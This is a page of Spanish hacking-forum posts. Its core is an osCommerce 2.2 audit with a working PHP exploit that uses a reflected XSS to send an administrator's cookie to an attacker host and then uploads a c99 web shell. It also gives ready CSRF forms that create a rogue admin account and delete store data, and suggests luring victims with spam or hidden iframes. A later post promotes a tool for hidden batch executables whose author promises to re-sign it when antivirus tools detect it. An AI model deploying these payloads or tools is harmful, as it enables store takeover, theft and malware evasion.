Pude leer en algunos sitios que esto era imposible a exepción si se hace desde java directamente y pasar el valor por medio de una variable hacia javascript y enviar la comparación al php.

Se podrá sin utilizar Java?
#340
Bueno, acabo de terminar un documento que les puede servir a varios para poder aprender lo básico de un xss, csrf y alguno que otro bypass, también por otro lado les puede servir para que piensen dos veces que instalar al momento de crear una tienda virtual.




Auditando a Oscommerce 2.2 RC2a

Link para su descarga : http://www.oscommerce.com/solutions/downloads
El presente documento está hecho con motivo de aprender de las vulnerabilidades de Oscommerce y saber como protegernos haciendo buenas elecciones al momento de buscar un sistema web que soporte una tienda online.
Oscommerce actualmente es uno de los sistemas públicos mas utilizados par crear sitios de ventas online, desafortunadamente también es uno de los mas vulnerables. Acá daré a conocer soolo algunos que yo pude encontrar. Si quieres buscar mas fallas de este sistema CMS puedes hacerlo desde acá:
http://www.google.cl/search?hl=es&q=oscommerce+vuln


XSS en múltiples secciones y Bypass al Anti-rrobo de sesiones

Para saber que significa XSS vea la sección de enlaces descriptivos que está al final de este documento.
Dentro del sistema de Administración podemos encontrar una sección donde podemos modificar banners, ahí nos encontramos con el archivo banner_manager.php:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new

Acá podemos ver una clara vulnerabilidad de tipo XSS en la variable llamada "page", probemos ...
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new

Vemos lo siguiente:


Esto nos quiere decir que pudimos inyectar código HTML con éxito dentro del sistema WEB.
Actualmente este tipo de vulnerabilidades se cataloga como nivel medio bajo en lo que a peligrosidad se refiere tanto en Securityfocus como en Secunia, Firstit, Vupen, etc etc, pero yo les voy a demostrar que un escape de código html dentro de tu sitio web puede causar muchos riesgos.

Primero vamos a planear que hacer para poder tener las ideas mas claras.
Haremos un script en php y si el administrador lo ve desde su explorador entonces le robaremos su sesión y con eso ya podremos hacer lo que se nos antoje como por ejemplo subirle una shell.

Abrimos nuestro editor de textos y manos a la obra:
Código (php) [Seleccionar]
<?php
/* Prueba de concepto para Oscommerce 2.2, Upload de Shell via XSS. Por WHK */
$web_vulnerable 'http://127.0.0.1/oscommerce/'/* La URL de la web vulnerable */
$url_shell 'http://www.geocities.com/zkizzik/c99.txt'/* La URL de la Shell local o remnota */
$logs md5($web_vulnerable).'_logs.txt'/* Log donde se guardará el estado del ataque */
 
if(!$_GET){ /* Si no hay variables entonces procede a ... */
/*
Redirecciona al visitante hasta la página del oscommerce vulnerable,
obiamente lo enviamos hacia una url que causará que el mismo inyecte 
código html en su propia web, este código html dirá que nos envie su cookie
hasta este mismo script para su recepción y utilización.
*/
/* Si la url no contiene un slash al final entonces se lo agrega */
if($web_vulnerable[strlen($web_vulnerable) - 1] != '/'$web_vulnerable .= '/';
logs('Redireccionando hacia el XSS');
header(
 
'Location: '.
 
$web_vulnerable.
 
'admin/banner_manager.php?page=1"><script src=http://'.
 
$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
 .
'?acc=js></script><br x="&bID=1&action=new'); // Redirección
 /* como Oscommerce agrega slashses a las comillas entonces intentaremos usar un incluye */
exit;
 
/* el dichoso javascript que nos robará la sesión */
}elseif($_GET['acc'] == 'js'){
 
logs('Enviando código javascript');
 die(
'
  /* Script que obtiene galletas con sabor a chocolate */
  document.location="http://'
.
  
$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
 
'?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
 
'escape(navigator.userAgent);
 '
);
 
/* Recibe la cookie y comienza la massacre */
}elseif($_GET['acc'] == 'choco'){
 
logs('Cookie recibida Cookie='.$_GET['galleta'].'');
 if(!
$cookie urldecode($_GET['galleta'])){
  
logs('Se ha intentado enviar una cookie sin contenido');
  exit; 
/* Si no hay cookie se detiene */
 
}
  
/* Separa el host con la ruta para procesar la conexión sin CURL para mayor compatibilidad */
 
$host explode('/'$web_vulnerable);
 
$host $host[2];
 
$url explode('http://'.$host$web_vulnerable);
 
$url $url[1].'/';
 
// Envía la shell
 
if(!$shell file_get_contents($url_shell)){
  
logs('No se pudo obtener la shell');
  exit;
 }
 
$post_data 
'-----------------------------66182058019796
Content-Disposition: form-data; name="file_1"; filename="config.php"
Content-Type: text/x-php
 
'
.$shell.'
-----------------------------66182058019796
Content-Disposition: form-data; name="file_2"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_3"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_4"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_5"; filename=""
Content-Type: application/octet-stream
 
-----------------------------66182058019796
Content-Disposition: form-data; name="x"
 
'
.rand(10,19).'
-----------------------------66182058019796
Content-Disposition: form-data; name="y"
 
'
.rand(10,19).'
-----------------------------66182058019796--
 
'
;
 
 
/* conexión y comprobación */
 
if(!eregi('302'enviar_socket(
'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
Host: '
.$host.'
User-Agent: '
.urldecode($_GET['uag']).'
Connection: close
Referer: http://'
.$host.'/'.$url.'admin/file_manager.php?action=upload
Cookie: '
.$cookie.'
Content-Type: multipart/form-data; boundary=---------------------------66182058019796
Content-Length: '
.(int)strlen($post_data)."\n\n".$post_data))){
  
logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  exit;
 }
 
 
/* Valída el upload y verifica si terminó correctamente */
 
if(eregi('images/icons/success.gif'enviar_socket(
'GET '.$url.'admin/file_manager.php HTTP/1.1
Host: '
.$host.'
User-Agent: '
.urldecode($_GET['uag']).'
Connection: close
Referer: http://'
.$host.'/'.$url.'admin/file_manager.php?action=processuploads
Cookie: '
.$cookie."\n\n\n"))){
  
logs('Shell subida con éxito hacia URL='.$web_vulnerable.'config.php');
 }else{
  
logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  exit;
 }
}
 
function 
handle_socket(){
 global 
$host;
 if(!
$handle fsockopen($host80)){
  
logs('El servidor remoto no responde');
  exit;
 }
 return 
$handle;
}
 
function 
enviar_socket($buffer){
 
$handle handle_socket();
 
fwrite($handle$buffer);
  while(!
feof($handle)){
  
$buffer .= fgets($handle128);
 }
 
fclose($handle);
 if(!
$buffer){
  
logs('El servidor remoto no responde');
  exit;
 }
 return 
$buffer;
}
 
function 
logs($contenido){
 global 
$logs;
 if(
file_exists($logs)) $modo 'a'; else $modo 'x';
 if(!
$handle fopen($logs$modo)) return false;
 
fwrite($handle'[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
 
fclose($handle);
}
?>


Ahora, antes de explicar lo que hace cada línea les voy a decir como funciona.
Primero que nada debemos encontrar al Administrador con su sesión activa dentro del sistema y luego hacer que visualice este código WEB. Para hacerlo vamos a suponer una situación donde nos conectamos vía IRC o MSN con el Administrador y le sugerimos una configuración para poder optimizar su sitio Web como por ejemplo un dimensionado de la imagen de su banner o lo que sea, después que ya estamos seguros que está logueado le decimos que observe el tutorial donde se muestra con mas detalle y le damos la página que lo redireccionará hacia el XSS. También puedes enviarle múltiples Spam a su correo y esperar a que haga clic en una mientras está trabajando en su página. También puedes ocultar el script dentro de un iframe de 1 x 1 pixel mientras lee o ve un video ocultando la redirección.
En fin, hay muchas formas para hacer caer a alguien con tal de que vea el script que acabamos de hacer, una ves que lo haga solamente pasarán unos 2 o tres segundos y automáticamente se le subirá una shell a su propio servidor y quedará masomenos así:


Ahora si voy a explicar un poco el código para que todo mortal pueda entender que hace sin entrar mucho en el lenguaje de programación ya que los que saben está claro que ya saben como está hecho.

Para subirle la shell necesitamos primero ser Administradores, eso es normal así que primero vamos por la cookie, cuando el Administrador vea el script lo primero que se hará es redireccionarlo hacia:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1"><script src=http://atacante.com/demanda.php?acc=js></script><br x="&bID=1&action=new

Lo que hará es redireccionarlo hacia la Web vulnerable e inyectará esto:
Citar"><script src=http://atacante.com/demanda.php?acc=js></script><br x="

Asi que parte del código fuente queda de esta forma:
Código (html4strict) [Seleccionar]
<form name="new_banner" action="http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1\"><script src=http://atacante.com/demanda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">

De esta forma insertamos el archivo javascript dentro del código HTML sin romper su estructura y evitamos que se vea mal en caso de que algo falle.
Ahora este javascript nos ejecutará lo siguiente:
Código (javascript) [Seleccionar]
/* Script que obtiene galletas con sabor a chocolate */
document.location="http://atacante.com/demanda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);


Como ahora si podemos usar comillas dobles (recordemos que Oscommerce agrega salsees como si fuera magic quotes para prevenir no se que cosa porque hasta ahora no sirve de nada) hacemos que nos redirecciones hacia mi Web atacante y envíe la cookie (recuerden que la cookie es nuestra sesión como administradores). Algunas personas podrán simplificar esto con eval y charcote haciendo la redirección saltándose el paso de la inclusión del Script (si no entendiste no importa porque no es relevante para el que no sabe mucho del tema).
¿Porqué necesitamos el User Agent? (nombre del navegador):
En Oscommerce hay un sistema de seguridad para "supuestamente" prevenir este tipo de ataques, entonces lo obtenemos y lo utilizamos en nuestro script.
Código de "supuesta" seguridad en Oscommerce (Archivo "incluyes/application_top.php" Linea 227):
Código (php) [Seleccionar]
if ($SESSION_USER_AGENT != $http_user_agent){
     tep_session_destroy();
     tep_redirect(tep_href_link(FILENAME_LOGIN));
}


Bueno, ahora lo usamos en nuestro Script:
Código (php) [Seleccionar]
User-Agent: '.urldecode($_GET['uag']).'

Ahora que tenemos la cookie y el user agent podemos hacer lo que se nos antoje como modificar la contraseña, cambiar el correo para después recuperar el password, subir una shell, eliminar todo y poner una Web porno, modificar archivos php para capturar tarjetas de crédito con cvv2, etc etc (recuerden que esto es solo una prueba de concepto para demostrar lo que se puede llegar a hacer no para que lo pongan en práctica).

El resto del Script lo que hace es enviar el archivo de nuestra Shell de pruebas al servidor desde:
http://127.0.0.1/oscommerce/admin/file_manager.php?action=processuploads

Respetando el referer que es desde "admin/file_manager.php?action=upload" y enviamos nuestra petición POST con 5 archivos, si pones solo uno te lo rechaza, ponemos nuestra shell en el archivo 1 y los demás en blanco, ahora nos darán una redirección hacia "admin/file_manager.php" así que la visualizamos y nos valida recién el upload.
También me encontré con dos variables, una llamada "y" y "x" con un valor al azar entre 1 y 20 así que se lo agregué al script para poder reflejar una simulación lo mas igualada posible a un explorador, si se los sacas no funcionará.

Secciones donde puedes encontrarás XSS:
http://127.0.0.1/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
http://127.0.0.1/oscommerce/admin/configuration.php?gID=1'"><h1>test
y en casi todas las secciones de administración donde veas una variable "page", "id", etc etc. Solo es cosa de ir probando porque si me pongo a mostrarlas todas voy a terminar este documento el año que viene.


Múltiples XSRF (Cross Site Request Forgery)

Para saber que significa XSRF vea la sección de enlaces descriptivos que está al final de este documento.
Primeramente intentaré eliminar una categoría manualmente y al hacerlo me pide una confirmación, al darle clic al botón para aceptar su eliminación me pongo a visualizar los datos que estoy enviando desde el Live Headers:


Citarhttp://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11

Acá vemos que se envía la variable categories_id diciendo que se va a eliminar pero en ningún lado vemos que nos adjunta algún tipo de dispositivo de seguridad que evite un ataque automatizado, por ejemplo un hash o cosas similares por lo tanto el ataque es tan obvio como la falla:
Código (html4strict) [Seleccionar]
<form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
<input type=hidden name="categories_id" value="1" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Creamos un archivo HTML que contenga esto y hacemos que el administrador lo visualize, al hacerlo estará eliminando involuntariamente la primera categoría de productos de su tienda virtual.
Esto podemos hacerlo con cualquier tipo de dato o configuración ya que en ningún caso se verifica un hash para prevenir este tipo de ataques.

Te gustaría crear un nuevo usuario con derechos de Administración?
Código (html4strict) [Seleccionar]
<form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
<input type=hidden name="username" value="r00t" />
<input type=hidden name="password" value="r00ted" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Tan fácil y sencillo.

También puedes activar de forma remota tipos de pago:
http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install

Acá activas el tipo de pago Paypal Express y tener la oportunidad de hacer compras fraudulentas si es que es un sitio de ventas en tiempo real como por ejemplo venta de softwares.
Incluso puedes adjuntarlo en una imagen o un avatar, etc:
Código (html4strict) [Seleccionar]
<img src="http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install" />

Otro problema de Oscommerce es que utiliza $_SERVER['PHP_SELF'] en casi todas sus secciones y este parámetro si no se sabe utilizar puede causar fallas de tipo XSS:


Si buscamos sin mucho detalle:


Tenemos 26 archivos solamente con esta vulnerabilidad.
En este caso como no necesariamente está en el sistema de Administración puede lanzarse con toda confianza un ataque al propio administrador sin preocuparse si su directorio está protegido por Apache (autentification) ya que desde el mismo javascript con XMLHTTP puedes comprobar si tienes acceso o no y evitar un pantallaza del login, incluso puedes lanzar un popup por detrás del navegador y con un javascript que constantemente verifique si el Administrador entró en el sistema o no para poder continuar con el ataque.
También puedes afectar a los usuarios y robarle sus sesiones y apoderarse de sus compras.

¿Que tal estaría poder modificar el precio de los productos?, a mi no me gustaría que me hicieran eso y no se si a alguna empresa le guste tampoco.


Conclusión

Oscommerce es un sistema muy útil pero llega a ser tan útil como inseguro y es una situación bastante delicada cuando se pretende cobrar dinero de forma online y tener tu propia tienda virtual.

Que sea gratuito no significa que sea malo, las vulnerabilidades las pueden cometer muchos programadores incluso los que se dedican a la venta de sistemas entre comillas. Hay muchas alternativas mejores por el mismo precio ($0) que están licenciada bajo la licencia GNU.

Una vulnerabilidad no es algo aislado que puedas ver en un foro o en un grupo de personas con tiempo libre, es algo que se toma muy en serio cuando se habla de sistemas profesionales, no creo que alguien se desgaste haciendo una bóveda del porte de una cancha de fútbol sin ponerle la cerradura a la puerta.

Muchos sitios que hablan sobre Advisories dicen que el XSS es considerado de riesgo a nivel medio (antiguamente era bajo), pues para mi puede ser tan fatal como cualquier otro así que si tienes un XSS en tu sitio Web te recomiendo que lo repares.

Puedes ahorrar una buena cantidad de dinero mensualmente evitando que tu técnico venga a reinstalar tu sitio Web porque fue penetrada y también te ahorras el dinero del auditor para corroborar si no hay indicios de rooteo que pueda comprometer al servidor en un futuro después de haber hecha la reinstalación.


Enlaces descriptivos

http://es.wikipedia.org/wiki/Cross-site_scripting
http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
http://es.wikipedia.org/wiki/Agentes_de_usuario
http://www.google.cl/search?hl=es&q=bypass+vuln
(Bypass: Descubrimiento de evasión, en este caso se trata de evadir el sistema de protección que evita un ataque.)
http://www.oscommerce.com/
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones-t244090.0.html
http://foro.elhacker.net/documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html
http://www.google.cl/search?hl=es&q=xss+vuln
http://es.wikipedia.org/wiki/GPL
http://www.gnu.org/licenses/licenses.es.html


Agradecimientos

Gracias al foro de ElHacker.Net por darme la oportunidad de tener cada día mas conocimiento frente al tema de la seguridad informática y aplicarlo en el mundo laboral.
Gracias a Nakp por prestarse siempre de betatester para lo que sea aunque en esta ocasión no se pudo porque no le avisé :p
Gracias a KrackWar por su vida social (nuevamente)
Gracias a mi compadre Octalh por llevarme por el camino del conocimiento y el Software Libre XD
Gracias a mis amigos de la red: MITM, Sirdarckcat, Unika, PokasPulgas, Nano N Roses, Dementes en el espacio, CarlosWaldo (alias carlos aguado) y a todos los de la sala de Yahoo Chat "Cristianismo:1" y "Programación:1".


Att, WHK.
www.kernel32@gmail.com
http://foro.elhacker.net/profiles/whk-u148268.html

Puedes publicar este documento donde tu quieras siempre y cuando no sea modificado.



Si tienen alguna duda pregunten porque nadie ha nacido sabiendo las cosas.
Descarga en formato .doc acá
#341
Estaba en mi servidor local y pude percatarme de un bug bién raro.
Enciende tu servidor local y haz un nuevo directorio con cualquier nombre que contenga la letra "ñ" y pon dentro un archivo php o html con cualquier contenido.
Si lo intentas visualizar verás que php lanza un error y da el path disclosure:
Citar
Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0

Fatal error: Unknown: Failed opening required 'C:/wamp/www/portal_foro/diseño/index.php' (include_path='.;C:\php5\pear') in Unknown on line 0

Nakp me ayudó y pudo verificar que esto también funciona en servidores Linux y con casi cualquier carácter especial como por ejemplo acentos.

Esto puede dificilmente pero posible transformarse en una vulnerabilidad como por ejemplo en el mod My_Uploads de phpnuke donde se crea un nuevo directorio dependiendo del nombre de usuario, claramente esto tiene un filtro de no incluir slashses y puntos pero estos filtros no consideran carácteres especiales haciendo el directorio lo mas fiél posible al nick del usuario pero sin contar que php no está preparado para eso lanzando este tipo de errores y mostrando la ruta total del directorio dando información a un posible atacante.

Ya lo avisé.
#342
Nivel Web / Bug en SMF 1.1.8 y 1.1.9
22 Mayo 2009, 06:57 AM
Estaba observando que SMF ya se actualizó a la versión 1.1.9 y me dió la curiosidad de buscar mas información del porqué lo hizo.

Buscando y buscando en simplemachines me di cuenta que esta actualización era por asuntos de seguridad asi que me puse a googlear y encontré esto -->
http://www.simplemachines.org/community/index.php?topic=309741.0
"Hacked: 1.1.8 attachments / avatars still has a vulnerability"

Lo que entendí hasta la primera página era que un atacante había subido un avatar con contenido php  :rolleyes: .. no se pero ultimamente las explotaciones de bugs en SMF se explotan con un archivo adjunto a un tema o subiendo un avatar ya que su contenido no se filtra.

También pude leer el post donde se explica un poco mejor lo de la actualización y se recomienda oficialmente deshabilitar tremporalmente la subida de archivos al servidor -->
http://www.simplemachines.org/community/index.php?topic=309717.0

CitarFollowing these simple instructions will make your forum invulnerable to the recent attack by uploadable avatar.

#343
Nivel Web / Nimble Scanner 1.1 Beta
18 Mayo 2009, 01:28 AM
Bueno, en tiempo que tube libre comenzé a crear un escaneador de vulnerabilidades, a diferencia de otros sistemas este es totalmente Online ya que está hecho en php, puedes resolver Reverse DNS, consultas Whois, localizar IPs, etc etc.

El sistema todavía está beta asi que no están todas las secciones terminadas, si alguien le interesa rpobar puede descargarlo:
Descargar acá

Actualmente tiene un proveedor de información de nombres de dominios, ips, etc, una consola de conexión directa para poder testear inyecciones sql en lugares incomodos como sobre una cookie, peticiones post, headers de referencia, user agent, etc etc, y también le agregué un módulo de codificaciones y decodificaciones en múltiples formatos y algoritmos para que puedas resolver tus funciones sql e inyectar directamente sobre la consola.

Por ahora la sección principal que es de escaneo no está lista xDDD pero por lo menos pueden divertirse con lo que ya tiene que aún así es super útil.

Además te lista todas las ips que resuleve un host desvelando servidores dns e incluso el hosting donde se aloja, etc.

ahi se los dejo mientras tanto que lo termino.







Nimble viene del nombre mangosta en ingles  :P
#344
Primeramente citar lo siguiente:
http://foro.elhacker.net/reglas#II.A.2

CitarII.A.2. Datos de terceros.
II.A.2.a. Política de disclosure.

   En los foros públicos, la publicación de vulnerabilidades en sitios Web específicos, esta permitida, si y sólo si: ésta tiene un pagerank igual o superior a 4, fue publicada en otro lugar previamente, y el enlace se mantenga firme con lo estipulado en la sección II.A.2.b. En caso de que la vulnerabilidad sea de un software distribuido, se podrá describir la vulnerabilidad en el foro correspondiente. Sin embargo, en ese caso, esta prohibido colocar sitios Web vulnerables de terceros.

II.A.2.b. Manejo de enlaces.
   Solo se permite colocar hipervínculos a páginas Web a las cuales están enlazadas desde alguna parte del sitio web. Esto significa que solo se puede colocar un enlace dentro victima.com, si y solo si en victima.com ese enlace existe en algún lugar. Por lo que no se pueden colocar enlaces directos a la explotación de un XSS, SQL injection, o cualquier tipo de vulnerabilidad, o revelación de información.
   En caso de que el enlace cumpla con esta regla, además deberá estar relacionada con el tema discutido, esta prohibido dar enlaces a sitios web de "referidos", y si enlazas a una web tuya, esta deberá tener información relevante respecto al tema.

II.A.2.c. Sección de advisories.
   Existe una sección de advisories en la web (http://www.elhacker.net/advisories), esta es para que ahí se publiquen los advisories que usuarios del foro hayan publicado, sin embargo la publicación de advisories, deberá ser hecha en el foro de bugs y exploits, y sera colocada en la web a discreción del administrador.

Se agrega también que:
No hay ventas de ningún tipo!
Acá no se vende nada por lo tanto si alguien insiste en realizar una venta tenga por seguro que yo o algún moderador global tiene todo el derecho de eliminar dicho post sin aviso alguno.

Este es un lugar para compartir y aprender, no para hacerse de dinero ni pagar por el conocimiento. Si fuera por eso entonces mejor cerramos el foro y nos vamos a una universidad y no es la idea.

Resumo..
Si se pueden publicar temas que estén directamente relacionados con sistemas CMS públicos, en caso de ser privado solo se podrá publicar con el consentimiento de su creador.

También se puede publicar temas relacionados con scripts relacionados directamente como por ejemplo plugins, módulos, themes, etc.

Solamente se puede publicar temas relacionados con sitios Webs externos si existe alguna otra referencia del tema, esto es para evitar problemas legales a futuro, en caso contrario los Moderadores de este subforo o alguien con mayor nivel de acceso puede modificar o eliminar el tema sin previo aviso. De todas formas se tratará lo mayormente posible de avisar antes de realizar alguna acción siempre y cuando el impacto no sea muy alto.
Si no sabes donde publicar tu información puedes crear un blog en blogger.com o wordpress.com por ser de fácil y rápida creación obiamente rigiendo las reglas de cada sitio.

Si se pueden colocar enlaces directos como prueba de concepto solo si ha sido publicado su referencia externa o si es con la aprobación del dueño del sitio o sistema afectado. En este caso puedes crear tu laboratorio o script de ejemplo dentro de tu web y publicar su prueba si lo deseas ya que tu mismo serías el propietario y fuente.

La publicación de herramientas debe ser explicativa y con mayor razon si no es de tu propiedad, en caso contrario será considerado "SPAM" (Esto es para evitar los post donde solo se publica el enlace y nada mas).

El enlace de fuente debe explicar el contenido de lo comentado. No se puede poner un enlace donde aparezca un par de dias y despues quede en otro lugar, lo correcto es poner el enlace de la noticia directa y no de la portada por ejemplo a emnos que la noticia permanezca ahi siempre.

Post que pregunten sobre como iniciar en la seguridad a nivel WEB
Ya existe un post hecho para la gente que quiere aprender sobre como iniciarse en la seguridad a nivel WEB:
http://foro.elhacker.net/nivel_web/iquestcomo_iniciarse_en_la_seguridad_web-t279791.0.html
Por lo tanto si alguien llega preguntando lo mismo "¿Como puedo iniciarme?" o "Como empiezo a aprender", etc etc serán eliminados sin previo aviso. Si alguien tiene dudas al respecto de sus mismos inicios en el tema puede hacer sus preguntas en ese mismo tema mensionado anteriormente.

Cualquier cambio a estas reglas no se efectuará necesariamente con su aviso anticipado. Cualquier moderador local o global puede hacer cualquier tipo de modificación al respecto.

Las reglas pueden ser evadidas siempre y cuando sea con el consentimiento del Administrador del foro unicamente.
#345
Hola, estaba intentando editar un stub ya compilado donde tengo como flag el string "{script}" el cual es de 8 carácteres. esto queda impreso en el programa y no me cuesta editarlo desde un editor hexadecimal pero si intento agregarle uno mas como por ejemplo 9 entonces el ejecutable se corrompe.

He visto que el reshack puede modificar recursos, carácteres y cosas sin iomportar su longitud asi que supuse que de alguna forma hexadecimalmente también debía poderse pero no se como.

La idea es implementar esto en la edición del stub en un editor gráfico para el proyecto BHC.

si alguien sabe le agraderecía muchisimo que me expicara ya que busqué en otros lados pero no pude encontrar infromación al respecto.
#346
Hola, estaba en un proyecto para poder colorear códigos en un richtextbox con el formato rtf,.. ahora el problema es que como se trata de códigos es necesario que no se interrumpa la linea cuando llego a un extremo y para eso declaro igual que en un textbos un scrollbar "both" pero solamente me lo agrega de forma vertical y no horizontal y cuando llego al final me corta lanzando un retorno, alguien sabe porque pasa esto o como forzar el control para que si lo haga?

El problema está acá:
https://foro.elhacker.net/analisis_y_diseno_de_malware/bhc_batch_hide_compiler_20_by_whk_proyecto_para_abril_negro-t253872.0.html;msg1228968#msg1228968


y extrañamente no puedo agregar el scrollbar hacia el costado  :huh:
ya busqué por google, el foro, por msn, etc etc y lo unico que encontré fue que para .net ese control tenía un bug y al parecer era ese pero no estoy seguro.
#347
Batch Hide Compiler




BHC ejecutable Descargar acá

Para las personas que deseen saber como funciona pueden descargar el código fuente  :D
Descargar código fuente BHC 2.0 acá

si van a modificar algo por favor en lo posible dar créditos o mostrar que por lo menos lo sacaron de acá, el resto pueden hacer lo que quieran con el código. Para futuras actualizaciones no incluiré la fuente para evitar el copy/paste.

Bueno, después de mucho tiempo con el antiguo proyecto BHC 1.2
http://foro.elhacker.net/hacking_basico/escondiendo_tus_batch-t163674.0.html
he lanzado por fin la versión 2.0  :D creado desde cero sin tomar nada del antiguo proyecto aunque la práctica es similar.

¿De que se trata?
Es un IDE para la edición de archivos Bat, o sea un editor gráfico, pero cual es la diferencia entre otros editores?

  • Genera Ejecutables! y su ejecución no se ve en lo absoluto evadiendo que aparezca esa ventana de MSdos.
  • Opción de darle el ícono que desees al ejecutable final.
  • Compresión del archivo final en UPX (Opcional).
  • Opcionalmente puedes hacer que el ejecutable lanze un mensaje de error al ejecutarse.
  • Portable.
  • Puedes editar, agregar y eliminar las funciones rápidas que aparecen en el menú muy fácilmente ya que el sistema carga los scripts desde archivos de texto *.txt. Dentro del directorio "Scripts" hay un texto muy explicativo para hacer los cambios tal cual aparece en el video.
  • Puedes editar cada opción del BHC y no necesitas reescribirlas cada ves que lo ejecutes ya que tiene soporte de configuración portable en un archivo .ini
  • Contiene una sección que se conecta directamente con el foro para ofrecerte una documentación adecuada sobre este tipo de lenguaje.
  • No necesitas reiniciar el programa para recargar Scripts.
  • Soporte para Multi-Instance.
  • Stub compatible con cualquier editor que soporte el sistema de inyección BHC.



    Capturas










    Cambios
    2.1
  • Soporte Highlighting para el editor.
  • Stub mas liviano.
  • Las dependencias ya no van en el directorio principal del programa sino en el directorio "dependencias"
  • Instalador actualizado, si no tienes alguna librería o te falta la reparación del ieframe solamente le haces doble click al bat llamado "install.bat" y con eso no deberías tener ningún problema ni la necesidad de bajar nada ya que todo viene incluido.
  • El area de los scripts rápidos fue ampliada.


    2.2
  • Ahora contiene soporte para Scripts diseñados en Bat, javascript y VBScript
  • SemiTransparencias en ventanas.
  • Modo gráfico compatible con computadores de bajos recursos ya que puedes editar su diseño hasta dejarlo en modo clásico.
  • Cambios en la estructuración del Stub, ahora los datos se inyectan via cifrado RC4 con una llave al azar de 32 bites.















    Sistema de inyección sobre el stub
    El sistema de inyección consiste en que el stub.dll es el stub.exe y cuando este se ejecuta hace lo siguiente:


    El dia en que un antivirus lo detecte simplemente modificaré el valor de la firma y lanzaré la actualización del stub.dll y daré dos valores que son las dos firmas que ustedes deben ingresar en el BHC donde dice "Firma de estracción del bat" y "Firma del MessageBoxA".

    El mensaje de alerta puede ser opcional, en ese caso no es necesario incluir el mensaje ni la firma pero si debes mantener el mismo orden, o sea.. no puedes inyectar el bat y despues el mensaje de alerta.



    También puedes crear tus propias versiones de BHC como si se tratase de un distriro  :P ya que puedes dar el sistema con un listado de scripts que tu desees y con las configuraciones que tu desees en el bhc.ini, además puedes cambiarle el diseño con una mascara de "Actskin 4" y ponersela reemplazando el archivo "bhc_dtskn.dll" por tu mascara.
    Si modificas algo te pediría que por favor no ocultes la sección de "acerca de.." ni sus enlaces al foro.



    Video de youtube:
    [youtube=425,350]http://www.youtube.com/watch?v=N2cdYK-4w_k[/youtube]

    Video en tamaño original acá

    PD: Gracias a Shell-Killer por el diseño del Splash de la versión 2.0
#348
Tengo un pequeño problema y es que tengo un valor de una fecha: "39818" que significa "2009-01-05" y necesitaba hacer la función que hiciera el calculo pero ando un poco perdido.. estuve buscando información acá:
http://support.microsoft.com/kb/214094
CitarExcel almacena todas las fechas como enteros y todas las horas como fracciones decimales. Con este sistema, Excel puede sumar, restar o comparar fechas y horas como cualquier otro número, y todas las fechas se manipulan utilizando este sistema.

En este sistema, el número de serie 1 representa 1/1/1900 12:00:00 a.m. Las horas se almacenan como números decimales entre ,0 y ,99999, donde ,0 es 00:00:00 y ,99999 es 23:59:59. Los enteros de fecha y las fracciones decimales de hora pueden combinarse para crear números que tengan una parte decimal y una parte entera. Por ejemplo, el número 32331,06 representa la fecha 7/7/1988 y la hora 1:26:24 a.m.

Ahora no se como podría calcular las fechas para ir corriendo dia, mes y año según el número que me arroja el excel. Este problema lo tube al importar archivos con el formato de la fecha cambiado y debo compatibilizarlo.

Lo otro sería pasar de ese formato a getmicrotime() y de ahi convertir a date() pero no se cual sería la equivalencia, al parecer los decimales debo convertirlos en entro pero no estoy seguro.. mientras tanto que hago pruebas y comparar fechas con ambos formatos espero que alguien me pueda dar una orientación.

Si lo resuelvo antes igual lo dejaré posteado.

Gracias.
#349
bueno, este tema es la continuación de:

Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html




Creación insegura de usuarios

